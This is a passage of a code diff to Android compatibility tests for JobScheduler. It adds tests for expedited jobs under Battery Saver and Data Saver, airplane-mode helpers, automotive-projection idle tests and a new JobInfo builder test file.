+        BatteryUtils.runDumpsysBatteryUnplug();
+        BatteryUtils.enableBatterySaver(true);
+
+        kTestEnvironment.setExpectedExecutions(1);
+        mJobScheduler.schedule(
+                mBuilder.setRequiredNetworkType(JobInfo.NETWORK_TYPE_ANY)
+                        .setExpedited(true)
+                        .build());
+        runSatisfiedJob(CONNECTIVITY_JOB_ID);
+
+        assertTrue(
+                "Expedited job requiring connectivity did not fire with Battery Saver on.",
+                kTestEnvironment.awaitExecution());
+    }
+
+    /**
+     * Schedule an expedited job that requires a network connection, and verify that it runs even
+     * when Data Saver is on and the device is not connected to WiFi.
+     */
+    public void testExpeditedJobExecutes_DataSaverOn() throws Exception {
+        if (!checkDeviceSupportsMobileData()) {
+            Log.d(TAG, "Skipping test that requires the device be mobile data enabled.");
+            return;
+        }
+        disconnectWifiToConnectToMobile();
+        setDataSaverEnabled(true);
+
+        kTestEnvironment.setExpectedExecutions(1);
+        mJobScheduler.schedule(
+                mBuilder.setRequiredNetworkType(JobInfo.NETWORK_TYPE_ANY)
+                        .setExpedited(true)
+                        .build());
+        runSatisfiedJob(CONNECTIVITY_JOB_ID);
+
+        assertTrue("Expedited job requiring metered connectivity did not fire with Data Saver on.",
+                kTestEnvironment.awaitExecution());
+    }
+
+    /**
+     * Schedule an expedited job that requires a network connection, and verify that it runs even
+     * when multiple firewalls are active.
+     */
+    public void testExpeditedJobBypassesSimultaneousFirewalls() throws Exception {
+        if (!BatteryUtils.isBatterySaverSupported()) {
+            Log.d(TAG, "Skipping test that requires battery saver support");
+            return;
+        }
+        if (!checkDeviceSupportsMobileData()) {
+            Log.d(TAG, "Skipping test that requires the device be mobile data enabled.");
+            return;
+        }
+        if (!AppStandbyUtils.isAppStandbyEnabled()) {
+            Log.d(TAG, "App standby not enabled");
+            return;
+        }
+
+        Settings.Global.putString(mContext.getContentResolver(),
+                Settings.Global.ENABLE_RESTRICTED_BUCKET, "1");
+        mDeviceConfigStateHelper.set("qc_max_session_count_restricted", "0");
+        SystemUtil.runShellCommand("am set-standby-bucket "
+                + kJobServiceComponent.getPackageName() + " restricted");
+        disconnectWifiToConnectToMobile();
+        BatteryUtils.runDumpsysBatteryUnplug();
+        BatteryUtils.enableBatterySaver(true);
+        setDataSaverEnabled(true);
+
+        kTestEnvironment.setExpectedExecutions(1);
+        mJobScheduler.schedule(
+                mBuilder.setRequiredNetworkType(JobInfo.NETWORK_TYPE_ANY)
+                        .setExpedited(true)
+                        .build());
+        runSatisfiedJob(CONNECTIVITY_JOB_ID);
+
+        assertTrue(
+                "Expedited job requiring metered connectivity did not fire with multiple "
+                        + "firewalls.",
+                kTestEnvironment.awaitExecution());
+    }
+
     // --------------------------------------------------------------------------------------------
     // Positives & Negatives - schedule jobs under conditions that require that pass initially and
     // then fail with a constraint change.
@@ -313,7 +468,7 @@
                 mBuilder.setRequiredNetworkType(JobInfo.NETWORK_TYPE_CELLULAR)
                         .build());
 
-        runJob();
+        runSatisfiedJob(CONNECTIVITY_JOB_ID);
         assertTrue("Job with metered connectivity constraint did not fire on mobile.",
                 kTestEnvironment.awaitExecution());
 
@@ -324,6 +479,55 @@
                 kTestEnvironment.awaitStopped());
     }
 
+    public void testJobParametersNetwork() throws Exception {
+        setAirplaneMode(false);
+
+        // Everything good.
+        final NetworkRequest nr = new NetworkRequest.Builder()
+                .addCapability(NET_CAPABILITY_INTERNET)
+                .addCapability(NET_CAPABILITY_VALIDATED)
+                .build();
+        JobInfo ji = mBuilder.setRequiredNetwork(nr).build();
+
+        kTestEnvironment.setExpectedExecutions(1);
+        mJobScheduler.schedule(ji);
+        runSatisfiedJob(CONNECTIVITY_JOB_ID);
+        assertTrue("Job didn't fire immediately", kTestEnvironment.awaitExecution());
+
+        JobParameters params = kTestEnvironment.getLastJobParameters();
+        assertNotNull(params.getNetwork());
+        final NetworkCapabilities capabilities =
+                getContext().getSystemService(ConnectivityManager.class)
+                        .getNetworkCapabilities(params.getNetwork());
+        assertTrue(nr.canBeSatisfiedBy(capabilities));
+
+        // Deadline passed with no network satisfied.
+        setAirplaneMode(true);
+        ji = mBuilder
+                .setRequiredNetwork(nr)
+                .setOverrideDeadline(0)
+                .build();
+
+        kTestEnvironment.setExpectedExecutions(1);
+        mJobScheduler.schedule(ji);
+        runSatisfiedJob(CONNECTIVITY_JOB_ID);
+        assertTrue("Job didn't fire immediately", kTestEnvironment.awaitExecution());
+
+        params = kTestEnvironment.getLastJobParameters();
+        assertNull(params.getNetwork());
+
+        // No network requested
+        setAirplaneMode(false);
+        ji = mBuilder.setRequiredNetwork(null).build();
+        kTestEnvironment.setExpectedExecutions(1);
+        mJobScheduler.schedule(ji);
+        runSatisfiedJob(CONNECTIVITY_JOB_ID);
+        assertTrue("Job didn't fire immediately", kTestEnvironment.awaitExecution());
+
+        params = kTestEnvironment.getLastJobParameters();
+        assertNull(params.getNetwork());
+    }
+
     // --------------------------------------------------------------------------------------------
     // Negatives - schedule jobs under conditions that require that they fail.
     // --------------------------------------------------------------------------------------------
@@ -344,7 +548,7 @@
         mJobScheduler.schedule(
                 mBuilder.setRequiredNetworkType(JobInfo.NETWORK_TYPE_UNMETERED)
                         .build());
-        runJob();
+        runSatisfiedJob(CONNECTIVITY_JOB_ID);
 
         assertTrue("Job requiring unmetered connectivity still executed on mobile.",
                 kTestEnvironment.awaitTimeout());
@@ -366,7 +570,7 @@
         mJobScheduler.schedule(
                 mBuilder.setRequiredNetworkType(JobInfo.NETWORK_TYPE_CELLULAR)
                         .build());
-        runJob();
+        runSatisfiedJob(CONNECTIVITY_JOB_ID);
 
         assertTrue("Job requiring metered connectivity still executed on WiFi.",
                 kTestEnvironment.awaitTimeout());
@@ -393,7 +597,7 @@
         mJobScheduler.schedule(
                 mBuilder.setRequiredNetworkType(JobInfo.NETWORK_TYPE_METERED)
                         .build());
-        runJob();
+        runSatisfiedJob(CONNECTIVITY_JOB_ID);
 
         assertTrue("Job requiring metered connectivity still executed on WiFi.",
                 kTestEnvironment.awaitTimeout());
@@ -417,7 +621,7 @@
         kTestEnvironment.setExpectedExecutions(0);
         mJobScheduler.schedule(
                 mBuilder.setRequiredNetworkType(JobInfo.NETWORK_TYPE_CELLULAR).build());
-        runJob();
+        runSatisfiedJob(CONNECTIVITY_JOB_ID);
 
         assertTrue("Job requiring cellular connectivity still executed on WiFi.",
                 kTestEnvironment.awaitTimeout());
@@ -427,15 +631,6 @@
     // Utility methods
     // --------------------------------------------------------------------------------------------
 
-    /** Asks (not forces) JobScheduler to run the job if functional constraints are met. */
-    private void runJob() throws Exception {
-        // Since connectivity is a functional constraint, calling the "run" command without force
-        // will only get the job to run if the constraint is satisfied.
-        SystemUtil.runShellCommand(getInstrumentation(), "cmd jobscheduler run"
-                + " -u " + UserHandle.myUserId()
-                + " " + kJobServiceComponent.getPackageName() + " " + CONNECTIVITY_JOB_ID);
-    }
-
     /**
      * Determine whether the device running these CTS tests should be subject to tests involving
      * mobile data.
@@ -550,6 +745,38 @@
                 enabled ? RESTRICT_BACKGROUND_ON_CMD : RESTRICT_BACKGROUND_OFF_CMD);
     }
 
+    private boolean isAirplaneModeOn() throws Exception {
+        final String output = SystemUtil.runShellCommand(getInstrumentation(),
+                "cmd connectivity airplane-mode").trim();
+        return "enabled".equals(output);
+    }
+
+    private void setAirplaneMode(boolean on) throws Exception {
+        if (isAirplaneModeOn() == on) {
+            return;
+        }
+        final CallbackAsserter airplaneModeBroadcastAsserter = CallbackAsserter.forBroadcast(
+                new IntentFilter(Intent.ACTION_AIRPLANE_MODE_CHANGED));
+        SystemUtil.runShellCommand(getInstrumentation(),
+                "cmd connectivity airplane-mode " + (on ? "enable" : "disable"));
+        airplaneModeBroadcastAsserter.assertCalled("Didn't get airplane mode changed broadcast",
+                15 /* 15 seconds */);
+        waitUntil("Networks didn't change to " + (!on ? " on" : " off"), 60_000,
+                () -> {
+                    if (on) {
+                        return mCm.getActiveNetwork() == null
+                                && (!mHasWifi || !isWiFiConnected(mCm, mWifiManager));
+                    } else {
+                        return mCm.getActiveNetwork() != null;
+                    }
+                });
+        // Wait some time for the network changes to propagate. Can't use
+        // waitUntil(isAirplaneModeOn() == on) because the response quickly gives the new
+        // airplane mode status even though the network changes haven't propagated all the way to
+        // JobScheduler.
+        Thread.sleep(5000);
+    }
+
     private static class NetworkTracker extends ConnectivityManager.NetworkCallback {
         private static final int MSG_CHECK_ACTIVE_NETWORK = 1;
         private final ConnectivityManager mCm;
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/IdleConstraintTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/IdleConstraintTest.java
index 7177bf5..ea540b4 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/IdleConstraintTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/IdleConstraintTest.java
@@ -32,6 +32,7 @@
 import androidx.test.InstrumentationRegistry;
 
 import com.android.compatibility.common.util.BatteryUtils;
+import com.android.compatibility.common.util.SystemUtil;
 
 /**
  * Make sure the state of {@link android.app.job.JobScheduler} is correct.
@@ -65,9 +66,7 @@
         mJobScheduler.cancel(STATE_JOB_ID);
         // Put device back in to normal operation.
         toggleScreenOn(true);
-        if (isCarModeSupported()) {
-            setCarMode(false);
-        }
+        setAutomotiveProjection(false);
 
         mUiDevice.executeShellCommand(
                 "settings put system screen_off_timeout " + mInitialDisplayTimeout);
@@ -165,13 +164,6 @@
         verifyActiveState();
     }
 
-    private boolean isCarModeSupported() {
-        // TVs don't support car mode.
-        return !getContext().getPackageManager().hasSystemFeature(
-                PackageManager.FEATURE_LEANBACK_ONLY)
-                && !getContext().getSystemService(UiModeManager.class).isUiModeLocked();
-    }
-
     /**
      * Check if dock state is supported.
      */
@@ -223,54 +215,36 @@
         verifyIdleState();
     }
 
-    private void setCarMode(boolean on) throws Exception {
+    private void setAutomotiveProjection(boolean on) throws Exception {
         UiModeManager uiModeManager = getContext().getSystemService(UiModeManager.class);
-        final boolean wasScreenOn = mPowerManager.isInteractive();
         if (on) {
-            uiModeManager.enableCarMode(0);
-            waitUntil("UI mode didn't change to " + Configuration.UI_MODE_TYPE_CAR,
-                    () -> Configuration.UI_MODE_TYPE_CAR ==
-                            (getContext().getResources().getConfiguration().uiMode
-                                    & Configuration.UI_MODE_TYPE_MASK));
+            assertTrue(SystemUtil.callWithShellPermissionIdentity(
+                    () -> uiModeManager.requestProjection(UiModeManager.PROJECTION_TYPE_AUTOMOTIVE),
+                    "android.permission.TOGGLE_AUTOMOTIVE_PROJECTION"));
         } else {
-            uiModeManager.disableCarMode(0);
-            waitUntil("UI mode didn't change from " + Configuration.UI_MODE_TYPE_CAR,
-                    () -> Configuration.UI_MODE_TYPE_CAR !=
-                            (getContext().getResources().getConfiguration().uiMode
-                                    & Configuration.UI_MODE_TYPE_MASK));
+            SystemUtil.callWithShellPermissionIdentity(
+                    () -> uiModeManager.releaseProjection(UiModeManager.PROJECTION_TYPE_AUTOMOTIVE),
+            "android.permission.TOGGLE_AUTOMOTIVE_PROJECTION");
         }
         Thread.sleep(2_000);
-        if (mPowerManager.isInteractive() != wasScreenOn) {
-            // Apparently setting the car mode can change the screen state >.<
-            Log.d(TAG, "Screen state changed");
-            toggleScreenOn(wasScreenOn);
-        }
     }
 
     /**
-     * Ensure car mode is considered active.
+     * Ensure automotive projection is considered active.
      */
-    public void testCarModePreventsIdle() throws Exception {
-        if (!isCarModeSupported()) {
-            return;
-        }
-
+    public void testAutomotiveProjectionPreventsIdle() throws Exception {
         toggleScreenOn(false);
 
-        setCarMode(true);
+        setAutomotiveProjection(true);
         triggerIdleMaintenance();
         verifyActiveState();
 
-        setCarMode(false);
+        setAutomotiveProjection(false);
         triggerIdleMaintenance();
         verifyIdleState();
     }
 
     private void runIdleJobStartsOnlyWhenIdle() throws Exception {
-        if (!isCarModeSupported()) {
-            return;
-        }
-
         toggleScreenOn(true);
 
         kTestEnvironment.setExpectedExecutions(0);
@@ -285,7 +259,7 @@
 
         kTestEnvironment.setExpectedExecutions(0);
         kTestEnvironment.setExpectedWaitForRun();
-        setCarMode(true);
+        setAutomotiveProjection(true);
         toggleScreenOn(false);
         triggerIdleMaintenance();
         assertJobWaiting();
@@ -298,7 +272,7 @@
         kTestEnvironment.setExpectedWaitForRun();
         kTestEnvironment.setContinueAfterStart();
         kTestEnvironment.setExpectedStopped();
-        setCarMode(false);
+        setAutomotiveProjection(false);
         triggerIdleMaintenance();
         assertJobReady();
         kTestEnvironment.readyToRun();
@@ -307,21 +281,15 @@
                 kTestEnvironment.awaitExecution());
     }
 
-    public void testIdleJobStartsOnlyWhenIdle_carEndsIdle() throws Exception {
-        if (!isCarModeSupported()) {
-            return;
-        }
+    public void testIdleJobStartsOnlyWhenIdle_settingProjectionEndsIdle() throws Exception {
         runIdleJobStartsOnlyWhenIdle();
 
-        setCarMode(true);
+        setAutomotiveProjection(true);
         assertTrue("Job didn't stop when the device became active.",
                 kTestEnvironment.awaitStopped());
     }
 
     public void testIdleJobStartsOnlyWhenIdle_screenEndsIdle() throws Exception {
-        if (!isCarModeSupported()) {
-            return;
-        }
         runIdleJobStartsOnlyWhenIdle();
 
         toggleScreenOn(true);
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/JobInfoTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/JobInfoTest.java
new file mode 100644
index 0000000..26bda48
--- /dev/null
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/JobInfoTest.java
@@ -0,0 +1,478 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.jobscheduler.cts;
+
+import static android.net.ConnectivityDiagnosticsManager.persistableBundleEquals;
+import static android.net.NetworkCapabilities.NET_CAPABILITY_INTERNET;
+import static android.net.NetworkCapabilities.NET_CAPABILITY_VALIDATED;
+
+import android.app.job.JobInfo;
+import android.content.ClipData;
+import android.content.Intent;
+import android.net.NetworkRequest;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.PersistableBundle;
+import android.provider.ContactsContract;
+import android.provider.MediaStore;
+
+/**
+ * Tests related to created and reading JobInfo objects.
+ */
+public class JobInfoTest extends BaseJobSchedulerTest {
+    private static final int JOB_ID = JobInfoTest.class.hashCode();
+
+    @Override
+    public void tearDown() throws Exception {
+        mJobScheduler.cancel(JOB_ID);
+
+        // The super method should be called at the end.
+        super.tearDown();
+    }
+
+    public void testBackoffCriteria() {
+        JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setBackoffCriteria(12345, JobInfo.BACKOFF_POLICY_LINEAR)
+                .build();
+        assertEquals(12345, ji.getInitialBackoffMillis());
+        assertEquals(JobInfo.BACKOFF_POLICY_LINEAR, ji.getBackoffPolicy());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+
+        ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setBackoffCriteria(54321, JobInfo.BACKOFF_POLICY_EXPONENTIAL)
+                .build();
+        assertEquals(54321, ji.getInitialBackoffMillis());
+        assertEquals(JobInfo.BACKOFF_POLICY_EXPONENTIAL, ji.getBackoffPolicy());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+    }
+
+    public void testBatteryNotLow() {
+        JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setRequiresBatteryNotLow(true)
+                .build();
+        assertTrue(ji.isRequireBatteryNotLow());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+
+        ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setRequiresBatteryNotLow(false)
+                .build();
+        assertFalse(ji.isRequireBatteryNotLow());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+    }
+
+    public void testCharging() {
+        JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setRequiresCharging(true)
+                .build();
+        assertTrue(ji.isRequireCharging());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+
+        ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setRequiresCharging(false)
+                .build();
+        assertFalse(ji.isRequireCharging());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+    }
+
+    public void testClipData() {
+        final ClipData clipData = ClipData.newPlainText("test", "testText");
+        JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setClipData(clipData, Intent.FLAG_GRANT_READ_URI_PERMISSION)
+                .build();
+        assertEquals(clipData, ji.getClipData());
+        assertEquals(Intent.FLAG_GRANT_READ_URI_PERMISSION, ji.getClipGrantFlags());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+
+        ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setClipData(null, 0)
+                .build();
+        assertNull(ji.getClipData());
+        assertEquals(0, ji.getClipGrantFlags());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+    }
+
+    public void testDeviceIdle() {
+        JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setRequiresDeviceIdle(true)
+                .build();
+        assertTrue(ji.isRequireDeviceIdle());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+
+        ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setRequiresDeviceIdle(false)
+                .build();
+        assertFalse(ji.isRequireDeviceIdle());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+    }
+
+    public void testEstimatedNetworkBytes() {
+        assertBuildFails(
+                "Successfully built a JobInfo specifying estimated network bytes without"
+                        + " requesting network",
+                new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                        .setEstimatedNetworkBytes(500, 1000));
+
+        JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setRequiredNetworkType(JobInfo.NETWORK_TYPE_ANY)
+                .setEstimatedNetworkBytes(500, 1000)
+                .build();
+        assertEquals(500, ji.getEstimatedNetworkDownloadBytes());
+        assertEquals(1000, ji.getEstimatedNetworkUploadBytes());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+    }
+
+    public void testExtras() {
+        final PersistableBundle pb = new PersistableBundle();
+        pb.putInt("random_key", 42);
+        JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setPersisted(true)
+                .setExtras(pb)
+                .build();
+        assertTrue(persistableBundleEquals(pb, ji.getExtras()));
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+    }
+
+    public void testExpeditedJob() {
+        // Test all allowed constraints.
+        JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setExpedited(true)
+                .setPersisted(true)
+                .setRequiredNetworkType(JobInfo.NETWORK_TYPE_ANY)
+                .setRequiresStorageNotLow(true)
+                .build();
+        assertTrue(ji.isExpedited());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+
+        // Test disallowed constraints.
+        final String failureMessage =
+                "Successfully built an expedited JobInfo object with disallowed constraints";
+        assertBuildFails(failureMessage,
+                new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                        .setExpedited(true)
+                        .setMinimumLatency(100));
+        assertBuildFails(failureMessage,
+                new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                        .setExpedited(true)
+                        .setOverrideDeadline(200));
+        assertBuildFails(failureMessage,
+                new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                        .setExpedited(true)
+                        .setPeriodic(15 * 60_000));
+        assertBuildFails(failureMessage,
+                new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                        .setExpedited(true)
+                        .setImportantWhileForeground(true));
+        assertBuildFails(failureMessage,
+                new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                        .setExpedited(true)
+                        .setPrefetch(true));
+        assertBuildFails(failureMessage,
+                new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                        .setExpedited(true)
+                        .setRequiresDeviceIdle(true));
+        assertBuildFails(failureMessage,
+                new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                        .setExpedited(true)
+                        .setRequiresBatteryNotLow(true));
+        assertBuildFails(failureMessage,
+                new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                        .setExpedited(true)
+                        .setRequiresCharging(true));
+        final JobInfo.TriggerContentUri tcu = new JobInfo.TriggerContentUri(
+                Uri.parse("content://" + MediaStore.AUTHORITY + "/"),
+                JobInfo.TriggerContentUri.FLAG_NOTIFY_FOR_DESCENDANTS);
+        assertBuildFails(failureMessage,
+                new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                        .setExpedited(true)
+                        .addTriggerContentUri(tcu));
+    }
+
+    public void testImportantWhileForeground() {
+        // Assert the default value is false
+        JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .build();
+        assertFalse(ji.isImportantWhileForeground());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+
+        ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setImportantWhileForeground(true)
+                .build();
+        assertTrue(ji.isImportantWhileForeground());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+
+        ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setImportantWhileForeground(false)
+                .build();
+        assertFalse(ji.isImportantWhileForeground());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+    }
+
+    public void testMinimumLatency() {
+        JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setMinimumLatency(1337)
+                .build();
+        assertEquals(1337, ji.getMinLatencyMillis());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+    }
+
+    public void testOverrideDeadline() {
+        JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setOverrideDeadline(7357)
+                .build();
+        // ...why are the set/get methods named differently?? >.>
+        assertEquals(7357, ji.getMaxExecutionDelayMillis());
+    }
+
+    public void testPeriodic() {
+        JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setPeriodic(60 * 60 * 1000L)
+                .build();
+        assertTrue(ji.isPeriodic());
+        assertEquals(60 * 60 * 1000L, ji.getIntervalMillis());
+        assertEquals(60 * 60 * 1000L, ji.getFlexMillis());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+
+        ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setPeriodic(120 * 60 * 1000L, 20 * 60 * 1000L)
+                .build();
+        assertTrue(ji.isPeriodic());
+        assertEquals(120 * 60 * 1000L, ji.getIntervalMillis());
+        assertEquals(20 * 60 * 1000L, ji.getFlexMillis());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+    }
+
+    public void testPersisted() {
+        // Assert the default value is false
+        JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .build();
+        assertFalse(ji.isPersisted());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+
+        ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setPersisted(true)
+                .build();
+        assertTrue(ji.isPersisted());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+
+        ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setPersisted(false)
+                .build();
+        assertFalse(ji.isPersisted());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+    }
+
+    public void testPrefetch() {
+        // Assert the default value is false
+        JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .build();
+        assertFalse(ji.isPrefetch());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+
+        ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setPrefetch(true)
+                .build();
+        assertTrue(ji.isPrefetch());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+
+        ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setPrefetch(false)
+                .build();
+        assertFalse(ji.isPrefetch());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+    }
+
+    public void testRequiredNetwork() {
+        final NetworkRequest nr = new NetworkRequest.Builder()
+                .addCapability(NET_CAPABILITY_INTERNET)
+                .addCapability(NET_CAPABILITY_VALIDATED)
+                .build();
+        JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setRequiredNetwork(nr)
+                .build();
+        assertEquals(nr, ji.getRequiredNetwork());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+
+        ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setRequiredNetwork(null)
+                .build();
+        assertNull(ji.getRequiredNetwork());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+    }
+
+    @SuppressWarnings("deprecation")
+    public void testRequiredNetworkType() {
+        // Assert the default value is NONE
+        JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .build();
+        assertEquals(JobInfo.NETWORK_TYPE_NONE, ji.getNetworkType());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+
+        ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setRequiredNetworkType(JobInfo.NETWORK_TYPE_ANY)
+                .build();
+        assertEquals(JobInfo.NETWORK_TYPE_ANY, ji.getNetworkType());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+
+        ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setRequiredNetworkType(JobInfo.NETWORK_TYPE_UNMETERED)
+                .build();
+        assertEquals(JobInfo.NETWORK_TYPE_UNMETERED, ji.getNetworkType());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+
+        ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setRequiredNetworkType(JobInfo.NETWORK_TYPE_NOT_ROAMING)
+                .build();
+        assertEquals(JobInfo.NETWORK_TYPE_NOT_ROAMING, ji.getNetworkType());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+
+        ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setRequiredNetworkType(JobInfo.NETWORK_TYPE_CELLULAR)
+                .build();
+        assertEquals(JobInfo.NETWORK_TYPE_CELLULAR, ji.getNetworkType());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+
+        ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setRequiredNetworkType(JobInfo.NETWORK_TYPE_NONE)
+                .build();
+        assertEquals(JobInfo.NETWORK_TYPE_NONE, ji.getNetworkType());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+    }
+
+    public void testStorageNotLow() {
+        JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setRequiresStorageNotLow(true)
+                .build();
+        assertTrue(ji.isRequireStorageNotLow());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+
+        ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setRequiresStorageNotLow(false)
+                .build();
+        assertFalse(ji.isRequireStorageNotLow());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+    }
+
+    public void testTransientExtras() {
+        final Bundle b = new Bundle();
+        b.putBoolean("random_bool", true);
+        assertBuildFails("Successfully built a persisted JobInfo object with transient extras",
+                new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                        .setPersisted(true)
+                        .setTransientExtras(b));
+
+        JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setTransientExtras(b)
+                .build();
+        assertEquals(b.size(), ji.getTransientExtras().size());
+        for (String key : b.keySet()) {
+            assertEquals(b.get(key), ji.getTransientExtras().get(key));
+        }
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+    }
+
+    public void testTriggerContentMaxDelay() {
+        JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setTriggerContentMaxDelay(1337)
+                .build();
+        assertEquals(1337, ji.getTriggerContentMaxDelay());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+    }
+
+    public void testTriggerContentUpdateDelay() {
+        JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setTriggerContentUpdateDelay(1337)
+                .build();
+        assertEquals(1337, ji.getTriggerContentUpdateDelay());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+    }
+
+    public void testTriggerContentUri() {
+        final Uri u = Uri.parse("content://" + MediaStore.AUTHORITY + "/");
+        final JobInfo.TriggerContentUri tcu = new JobInfo.TriggerContentUri(
